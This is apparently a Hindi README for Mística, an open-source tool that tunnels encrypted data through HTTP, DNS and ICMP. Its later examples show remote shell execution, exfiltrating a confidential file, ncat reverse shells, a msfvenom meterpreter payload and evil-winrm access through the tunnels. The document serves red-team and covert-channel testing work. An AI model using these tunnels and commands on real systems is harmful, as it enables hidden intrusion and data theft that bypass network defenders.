incidedigital/misticaएक ओपन सोर्स स्विस आर्मी नाइफ जो एप्लिकेशन प्रोटोकॉल पर मनमाना संचार करने के लिए है।
 |
|---|
| Mística Logo द्वारा JoelGMSec |
Mística एक ऐसा उपकरण है जो डेटा को एप्लिकेशन लेयर प्रोटोकॉल फ़ील्ड में एम्बेड करने की अनुमति देता है, जिसका उद्देश्य मनमाना संचार के लिए एक द्वि-दिशात्मक चैनल स्थापित करना है। वर्तमान में, HTTP, HTTPS, DNS और ICMP प्रोटोकॉल में एनकैप्सुलेशन लागू किया गया है, लेकिन निकट भविष्य में और अधिक प्रोटोकॉल शामिल करने की उम्मीद है।
Mística का एक मॉड्यूलर डिज़ाइन है, जो SOTP नामक एक कस्टम ट्रांसपोर्ट प्रोटोकॉल के आसपास बनाया गया है: Simple Overlay Transport Protocol। डेटा को एन्क्रिप्ट किया जाता है, टुकड़ों में विभाजित किया जाता है और SOTP पैकेट्स में रखा जाता है। SOTP पैकेट्स को एन्कोड किया जाता है और एप्लिकेशन प्रोटोकॉल के वांछित फ़ील्ड में एम्बेड किया जाता है, और दूसरे छोर पर भेजा जाता है।
SOTP लेयर का उद्देश्य न्यूनतम ओवरहेड के साथ एक सामान्य बाइनरी ट्रांसपोर्ट प्रोटोकॉल प्रदान करना है। SOTP पैकेट्स को आसानी से वैध एप्लिकेशन प्रोटोकॉल में छिपाया या एम्बेड किया जा सकता है। साथ ही SOTP यह सुनिश्चित करता है कि पैकेट दूसरे छोर तक पहुँचें, RC4 का उपयोग करके डेटा को एन्क्रिप्ट करता है (यह भविष्य में बदल सकता है), और पोलिंग मैकेनिज्म का उपयोग करके सूचना को दोनों दिशाओं में पारदर्शी रूप से प्रवाहित करने में सक्षम बनाता है।
मॉड्यूल विभिन्न उद्देश्यों के लिए SOTP लेयर के साथ इंटरैक्ट करते हैं:
Wrapper और overlay मॉड्यूल एक साथ काम करके कस्टम एप्लिकेशन बनाते हैं, जैसे DNS पर इनपुट रीडायरेक्शन या HTTP पर रिमोट पोर्ट फ़ॉरवर्डिंग।
Mística का मॉड्यूलर डिज़ाइन नए मॉड्यूल के आसान विकास की अनुमति देता है। साथ ही, उपयोगकर्ता किसी कस्टम फ़ील्ड या एन्कोडिंग का उपयोग करने या किसी overlay मॉड्यूल के व्यवहार को संशोधित करने के लिए आसानी से वर्तमान मॉड्यूल को फ़ोर्क कर सकता है।
दो मुख्य सॉफ़्टवेयर टुकड़े हैं:
ms.py): ऐसे मॉड्यूल का उपयोग करता है जो वांछित एप्लिकेशन लेयर प्रोटोकॉल (HTTP, HTTPS, DNS, ICMP...) के सर्वर के रूप में कार्य करते हैं। इसे इस तरह से डिज़ाइन किया गया है कि ms.py के एक ही इंस्टेंस के साथ एक ही समय में कई सर्वर, wrappers और overlays को चलाने की अनुमति मिलती है, हालाँकि यह सुविधा अभी तक पूरी तरह से लागू नहीं हुई है।mc.py): ऐसे मॉड्यूल का उपयोग करता है जो वांछित एप्लिकेशन लेयर प्रोटोकॉल (HTTP, HTTPS, DNS, ICMP...) के क्लाइंट के रूप में कार्य करते हैं। यह एक समय में केवल एक overlay और एक wrapper का उपयोग कर सकता है।आप निम्नलिखित प्लेलिस्ट में कुछ Mística डेमो देख सकते हैं
इस प्रोजेक्ट की बहुत कम निर्भरताएँ हैं। वर्तमान में:
dnslib की आवश्यकता है।```
python3.7 -m pip install pip --user
pip3.7 install dnslib --userयदि आप अपने सिस्टम पर पायथन स्थापित नहीं करना चाहते हैं, तो आप निम्नलिखित पोर्टेबल संस्करणों में से किसी एक का उपयोग कर सकते हैं:
- https://www.anaconda.com/distribution/#download-section (विंडोज़, लिनक्स और मैकओएस के लिए)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (केवल विंडोज़ के लिए)
## वर्तमान मॉड्यूल
ओवरले मॉड्यूल:
- `io`: स्टडिन से पढ़ता है, SOTP कनेक्शन के माध्यम से भेजता है। SOTP कनेक्शन से पढ़ता है, स्टडआउट पर प्रिंट करता है
- `shell`: SOTP कनेक्शन के माध्यम से प्राप्त कमांड निष्पादित करता है और आउटपुट लौटाता है। io मॉड्यूल के साथ संगत।
- `tcpconnect`: TCP पोर्ट से कनेक्ट होता है। सॉकेट से पढ़ता है, SOTP कनेक्शन के माध्यम से भेजता है। SOTP कनेक्शन से पढ़ता है, सॉकेट के माध्यम से भेजता है।
- `tcplisten`: TCP पोर्ट पर बाइंड होता है। सॉकेट से पढ़ता है, SOTP कनेक्शन के माध्यम से भेजता है। SOTP कनेक्शन से पढ़ता है, सॉकेट के माध्यम से भेजता है।
रैप मॉड्यूल:
- `dns`: विभिन्न विधियों का उपयोग करके DNS क्वेरी/प्रतिक्रियाओं में डेटा को एनकोड/डिकोड करता है
- `http`: विभिन्न विधियों का उपयोग करके HTTP या HTTPS अनुरोध/प्रतिक्रियाओं में डेटा को एनकोड/डिकोड करता है
- `icmp`: डेटा अनुभाग पर ICMP इको अनुरोध/प्रतिक्रियाओं में डेटा को एनकोड/डिकोड करता है
## उपयोग
`ms.py`: Mística Server
सहायता संदेश इस प्रकार दिखता है:```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
[-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]
Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.
optional arguments:
-h, --help show this help message and exit
-k KEY, --key KEY RC4 key used to encrypt the comunications
-l LIST, --list LIST Lists modules or parameters. Options are: all,
overlays, wrappers, <overlay name>, <wrapper name>
-m MODULES, --modules MODULES
Module pair in single-handler mode. format:
'overlay:wrapper'
-w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
args for the selected overlay module (Single-handler
mode)
-o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
args for the selected wrapper module (Single-handler
mode)
-s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
args for the selected wrap server (Single-handler
mode)
-v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv
Medium, -vvv High)
Mística सर्वर में दो मुख्य मोड हैं:
ms.py को पैरामीटर के साथ लॉन्च किया जाता है, तो यह एकल ओवरले मॉड्यूल को एकल रैपर मॉड्यूल के साथ इंटरैक्ट करने की अनुमति देता है।ms.py को बिना पैरामीटर के चलाया जाता है, तो उपयोगकर्ता एक इंटरैक्टिव कंसोल में प्रवेश करता है, जहां कई ओवरले और रैपर मॉड्यूल लॉन्च किए जा सकते हैं। ये मॉड्यूल कुछ प्रतिबंधों के साथ एक-दूसरे के साथ इंटरैक्ट करने में सक्षम होंगे।mc.py: Mística क्लाइंट
इस प्रकार हेल्प मैसेज दिखता है:```txt usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS]
Mistica client.
optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair. Format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)
### पैरामीटर
- `-l, --list` का उपयोग या तो सभी मॉड्यूल को सूचीबद्ध करने, केवल एक प्रकार को सूचीबद्ध करने (`overlays` या `wrappers`) या उन पैरामीटरों को सूचीबद्ध करने के लिए किया जाता है जिन्हें कोई निश्चित मॉड्यूल `-o`, `-w` या `-s` के माध्यम से स्वीकार कर सकता है।
- `-k, --key` का उपयोग उस कुंजी को निर्दिष्ट करने के लिए किया जाता है जिसका उपयोग ओवरले संचार को एन्क्रिप्ट करने के लिए किया जाएगा। यह क्लाइंट और सर्वर में समान होना चाहिए और वर्तमान में अनिवार्य है। यदि भविष्य में सीक्रेट-शेयरिंग योजनाएं लागू की जाती हैं तो यह बदल सकता है।
- `-m, --modules` का उपयोग यह निर्दिष्ट करने के लिए किया जाता है कि आप किस मॉड्यूल जोड़ी का उपयोग करना चाहते हैं। आपको निम्नलिखित प्रारूप का उपयोग करना होगा: **overlay_module** + **:** + **wrap_module**। यह पैरामीटर भी अनिवार्य है।
- `-w, --wrapper-args` आपको रैप मॉड्यूल के लिए एक विशेष कॉन्फ़िगरेशन निर्दिष्ट करने की अनुमति देता है।
- `-o, --overlay-args` आपको ओवरले मॉड्यूल के लिए एक विशेष कॉन्फ़िगरेशन निर्दिष्ट करने की अनुमति देता है।
- `-s, --wrap-server-args` केवल `ms.py` पर मौजूद है। यह आपको रैप सर्वर के लिए एक विशेष कॉन्फ़िगरेशन निर्दिष्ट करने की अनुमति देता है। प्रत्येक रैप मॉड्यूल की एक रैप सर्वर पर निर्भरता होती है, और दोनों कॉन्फ़िगरेशन को ट्यून किया जा सकता है।
## उदाहरण और उन्नत उपयोग
> याद रखें कि आप `-l <module_name>` टाइप करके किसी मॉड्यूल के सभी स्वीकृत पैरामीटर देख सकते हैं (जैसे `./ms.py -l dns`)। साथ ही अपने संचारों की सुरक्षा के लिए एक लंबी और जटिल कुंजी का उपयोग करना याद रखें!
### HTTP
HTTP एनकैप्सुलेशन के विभिन्न तरीकों को समझाने के लिए, प्रत्येक उदाहरण में IO रीडायरेक्शन ओवरले मॉड्यूल (`io`) का उपयोग किया जाएगा।
- डिफ़ॉल्ट URI में b64 एन्कोडिंग के साथ HTTP GET विधि, localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए।
- Mística Server: `./ms.py -m io:http -k "rc4testkey"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey"`
- डिफ़ॉल्ट URI में b64 एन्कोडिंग के साथ HTTP GET विधि, **IP पता और पोर्ट निर्दिष्ट करते हुए**।
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- **कस्टम URI** में b64 एन्कोडिंग के साथ HTTP GET विधि, localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए।
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- **कस्टम हेडर** में b64 एन्कोडिंग के साथ HTTP GET विधि, localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए।
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- डिफ़ॉल्ट फ़ील्ड में b64 एन्कोडिंग के साथ HTTP **POST** विधि, localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए।
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- **कस्टम हेडर** में b64 एन्कोडिंग के साथ HTTP **POST** विधि, localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए।
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- **कस्टम फ़ील्ड** में b64 एन्कोडिंग के साथ HTTP **POST** विधि, localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए।
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- **कस्टम फ़ील्ड** में b64 एन्कोडिंग, कस्टम पैकेट आकार, कस्टम रिट्राइज़, कस्टम टाइमआउट और IP और पोर्ट निर्दिष्ट करने के साथ HTTP **POST** विधि:
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- **कस्टम फ़ील्ड** में b64 एन्कोडिंग के साथ HTTP **POST** विधि, **कस्टम एरर टेम्पलेट का उपयोग करते हुए**, localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए।
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- डिफ़ॉल्ट URI में b64 एन्कोडिंग के साथ HTTP GET विधि, **कस्टम HTTP रिस्पॉन्स कोड** का उपयोग करते हुए और localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए:
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- 443 पोर्ट का उपयोग करके डिफ़ॉल्ट URI में b64 एन्कोडिंग के साथ HTTPS GET विधि। ssl विकल्प का उपयोग करने के लिए Mistica Server में एक प्रमाणपत्र उत्पन्न किया जाना चाहिए, Mistica Client को केवल ssl फ़्लैग प्राप्त करने की आवश्यकता है:
- Mística Server:
- `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
- `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- डिफ़ॉल्ट URI में b64 एन्कोडिंग के साथ HTTP GET विधि, Mistica Client में प्रॉक्सी सर्वर का उपयोग करते हुए (उन वातावरणों में उपयोग किया जा सकता है जहां HTTP संचार अनिवार्य रूप से कॉर्पोरेट प्रॉक्सी से गुजरना चाहिए, जो कंप्यूटर कॉन्फ़िगरेशन में निर्दिष्ट नहीं है)। Burpsuite के साथ निम्नलिखित उदाहरण का परीक्षण करें:
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`
### DNS
DNS एनकैप्सुलेशन के विभिन्न तरीकों को समझाने के लिए, प्रत्येक उदाहरण में IO रीडायरेक्शन ओवरले मॉड्यूल (`io`) का उपयोग किया जाएगा।
- TXT क्वेरी, localhost और पोर्ट 5353 (डिफ़ॉल्ट मान) का उपयोग करते हुए:
- Mística Server: `./ms.py -m io:dns -k "rc4testkey"`
- Mística Client: `./mc.py -m io:dns -k "rc4testkey"`
- NS क्वेरी, localhost और पोर्ट 5353 (डिफ़ॉल्ट मान) का उपयोग करते हुए:
- Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
- Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- CNAME क्वेरी, localhost और पोर्ट 5353 (डिफ़ॉल्ट मान) का उपयोग करते हुए:
- Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
- Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- MX क्वेरी, localhost और पोर्ट 5353 (डिफ़ॉल्ट मान) का उपयोग करते हुए:
- Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
- Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- SOA क्वेरी, localhost और पोर्ट 5353 (डिफ़ॉल्ट मान) का उपयोग करते हुए:
- Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
- Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- TXT क्वेरी, localhost और पोर्ट 5353 (डिफ़ॉल्ट मान) और **कस्टम डोमेन** का उपयोग करते हुए:
- Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
- Mística Client:
- `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
- `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- TXT क्वेरी, पोर्ट और होस्टनेम निर्दिष्ट करते हुए:
- Mística Server: `./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
- Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- TXT क्वेरी, एकाधिक सबडोमेन का उपयोग करते हुए:
- Mística Server: `./ms.py -m io:dns -k "rc4testkey"`
- Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`
### ICMP
लिनक्स कर्नेल, जब इसे एक icmp echo रिक्वेस्ट पैकेज प्राप्त होता है, तो डिफ़ॉल्ट रूप से स्वचालित रूप से एक icmp echo रिप्लाई पैकेज के साथ उत्तर देता है (हमें उत्तर देने का कोई विकल्प दिए बिना)। यही कारण है कि हमें अपना खुद का डेटा भेजने में सक्षम होने के लिए icmp प्रतिक्रियाओं को अक्षम करना होगा जो क्लाइंट द्वारा भेजे गए डेटा से भिन्न होता है। ऐसा करने के लिए, हम निम्नलिखित करते हैं:
`/etc/sysctl.conf` फ़ाइल को संपादित करके कर्नेल द्वारा स्वचालित icmp प्रतिक्रियाओं को अक्षम करें (*रूट आवश्यक*):
- अपने /etc/sysctl.conf में निम्नलिखित पंक्ति जोड़ें:```
net.ipv4.icmp_echo_ignore_all=1
sysctl -p चलाएँ।अब, ICMP एनकैप्सुलेशन के विभिन्न तरीकों को प्रदर्शित करने के लिए, प्रत्येक उदाहरण में IO रीडायरेक्शन ओवरले मॉड्यूल (io) का उपयोग किया जाएगा।
./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"आप io और shell मॉड्यूल को मिलाकर, एक कस्टम चैनल पर mística का उपयोग करके रिमोट कमांड निष्पादन प्राप्त कर सकते हैं। उदाहरण:
DNS पर TXT क्वेरी का उपयोग करके क्लाइंट सिस्टम पर कमांड निष्पादित करना।
sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"HTTP पर GET अनुरोधों का उपयोग करके सर्वर सिस्टम पर कमांड निष्पादित करना:
./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"ICMP पर क्लाइंट सिस्टम पर कमांड निष्पादित करना:
./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"IO मॉड्यूल और रीडायरेक्ट ऑपरेटरों का उपयोग करके HTTP के माध्यम से फ़ाइलों को बाहर निकालना:
./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdftype confidential.pdf | E:\Mistica\WPy64-3741\python-3.7.4.amd64\python.exe .\mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vv127.0.0.1:4444 सर्वर पर पते 127.0.0.1:5555 पर अग्रेषित किया जाएगा। 5555 पर पहले से कुछ सुनना चाहिए।
./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"127.0.0.1:4444 क्लाइंट पर पते 127.0.0.1:5555 पर अग्रेषित किया जाएगा। 5555 पर पहले से कुछ सुनना चाहिए।
sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"स्थानीय उपयोग के लिए एक Docker इमेज बनाई गई है। यह हमें Python या dnslib स्थापित करने से बचाता है यदि हम केवल टूल का परीक्षण करना चाहते हैं, यह डिबग या इसी तरह के लिए भी बहुत दिलचस्प है क्योंकि हम अन्य स्थानीय अनुप्रयोगों द्वारा उत्पन्न शोर से बचते हैं। इसे बनाने के लिए हम बस इन चरणों का पालन करते हैं:
* दूसरा, निम्नलिखित के साथ नेटवर्क बनाएं:```
sudo docker network create misticanw
* चौथी बार क्लाइंट को इसके साथ चलाएँ:```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash
Mística एक Python में विकसित उपकरण है, जिसका अर्थ है कि सैद्धांतिक रूप से इसे संकलित किया जा सकता है।
उपकरण को संकलित करने के लिए हम Pyinstaller का उपयोग करेंगे, यह उपकरण हमें एक बाइनरी उत्पन्न करने की अनुमति देगा (हम जिस ऑपरेटिंग सिस्टम में हैं उसके आधार पर), इसका मतलब है कि हम C, C++, Golang, Rust आदि जैसी अन्य भाषाओं की तरह क्रॉस-कंपाइलिंग नहीं कर सकते। हम इसे संभव बनाने के लिए काम कर रहे हैं, हालांकि, हम आपको Pyinstaller कमांड दे रहे हैं जो हमें किसी भी ऑपरेटिंग सिस्टम में Mística को संकलित करने की अनुमति देगा:
चूंकि Mística Client की कोई निर्भरता नहीं है, इसे सीधे Pyinstaller से संकलित किया जा सकता है। इसे संकलित करने के लिए निम्नलिखित चरणों का पालन करें:
* और अब, Mística Client को निम्नलिखित कमांड के साथ संकलित करें:```
pyinstaller --onefile \
--hiddenimport overlay.client.io \
--hiddenimport overlay.client.shell \
--hiddenimport overlay.client.tcpconnect \
--hiddenimport overlay.client.tcplisten \
--hiddenimport wrapper.client.http \
--hiddenimport wrapper.client.dns \
--hiddenimport wrapper.client.icmp \
--hiddenimport overlay.server.io \
--hiddenimport overlay.server.shell \
--hiddenimport overlay.server.tcpconnect \
--hiddenimport overlay.server.tcplisten \
--hiddenimport wrapper.server.wrap_module.http \
--hiddenimport wrapper.server.wrap_module.dns \
--hiddenimport wrapper.server.wrap_module.icmp \
--hiddenimport wrapper.server.wrap_server.httpserver \
--hiddenimport wrapper.server.wrap_server.dnsserver \
--hiddenimport wrapper.server.wrap_server.icmpserver \
mc.py
यदि आप Mística सर्वर को संकलित करना चाहते हैं तो आपको Pip के साथ, Dnslib लाइब्रेरी को वैश्विक रूप से इंस्टॉल करना होगा (याद रखें कि यह Mística की एकमात्र निर्भरता है, और केवल Mística सर्वर के लिए)। ऐसा करने के लिए आपको निम्नलिखित चरणों का पालन करना होगा:
pip install dnslib ("--user" फ़्लैग के बिना, इस तरह यह सिस्टम पर वैश्विक रूप से इंस्टॉल होगा, अन्यथा pyinstaller इसे छिपे हुए आयात के रूप में जोड़ने में सक्षम नहीं होगा। इस चरण के लिए व्यवस्थापक अनुमतियाँ आवश्यक हैं)pip install pyinstaller.## भविष्य के कार्य
- क्रॉस-कंपाइलिंग विधि ताकि Mistica को लक्ष्य ऑपरेटिंग सिस्टम से किए बिना विभिन्न ऑपरेटिंग सिस्टमों के लिए संकलित किया जा सके।
- SOTP प्रोटोकॉल के लिए पारदर्शी Diffie-Hellman कुंजी निर्माण
- मल्टी-हैंडलर मोड: `ms.py` के लिए इंटरैक्टिव मोड। यह उपयोगकर्ता को एक से अधिक ओवरले को एक से अधिक रैपर और प्रति रैप सर्वर एक से अधिक रैप मॉड्यूल के साथ संयोजित करने देगा।
- कस्टम मॉड्यूल विकास के लिए मॉड्यूल विकास दस्तावेज़ीकरण। वर्तमान में यह हतोत्साहित किया जाता है क्योंकि मॉड्यूल विनिर्देश अभी भी विकास के अधीन है।
- अगले मॉड्यूल:
- SMB रैपर
- RAT और RAT हैंडलर ओवरले
- SOCKS प्रॉक्सी और डायनामिक पोर्ट फ़ॉरवर्डिंग ओवरले
- फ़ाइल स्थानांतरण ओवरले
- RDP रैपर
- अधिक जटिल एनकैप्सुलेशन के लिए कस्टम HTTP टेम्पलेट
- कस्टम क्लाइंट या सर्वर के लिए SOTP प्रोटोकॉल विनिर्देश दस्तावेज़ीकरण। वर्तमान में यह हतोत्साहित किया जाता है क्योंकि प्रोटोकॉल अभी भी विकास के अधीन है।
## लेखक और लाइसेंस
यह परियोजना कार्लोस फर्नांडीज सांचेज और राउल कारो टेक्सिडो द्वारा विकसित की गई है। कोड GNU जनरल पब्लिक लाइसेंस v3 के तहत जारी किया गया है।
यह परियोजना तृतीय-पक्ष ओपन-सोर्स कोड का उपयोग करती है, विशेष रूप से:
- [Bitstring](https://github.com/scott-griffiths/bitstring) स्कॉट ग्रिफिथ्स द्वारा विकसित।
- [A RC4 binary-safe](https://github.com/DavidBuchanan314/rc4) डेविड बुकानन द्वारा विकसित।
- [A DNS Client without dependencies](https://github.com/vlasebian/simple-dns-client) व्लाद विटान द्वारा विकसित।
- [A ICMP Server and Client without dependencies](https://github.com/rcaroncd/ICMPack/) राउल कारो द्वारा विकसित।
nc -nlvp 5555./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"ncat -nve /bin/bash 127.0.0.1 4444meterpreter_reverse_tcp (लिनक्स) चलाना। पेलोड msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin के साथ उत्पन्न हुआ।
msfconsole चलाएँ और हैंडलर को इसके साथ लॉन्च करें: handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"./meterpreter_reverse_tcp_localhost_4444.bin./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vvpython.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vvevil-winrm -u Administrador -i 127.0.0.1 -P 5555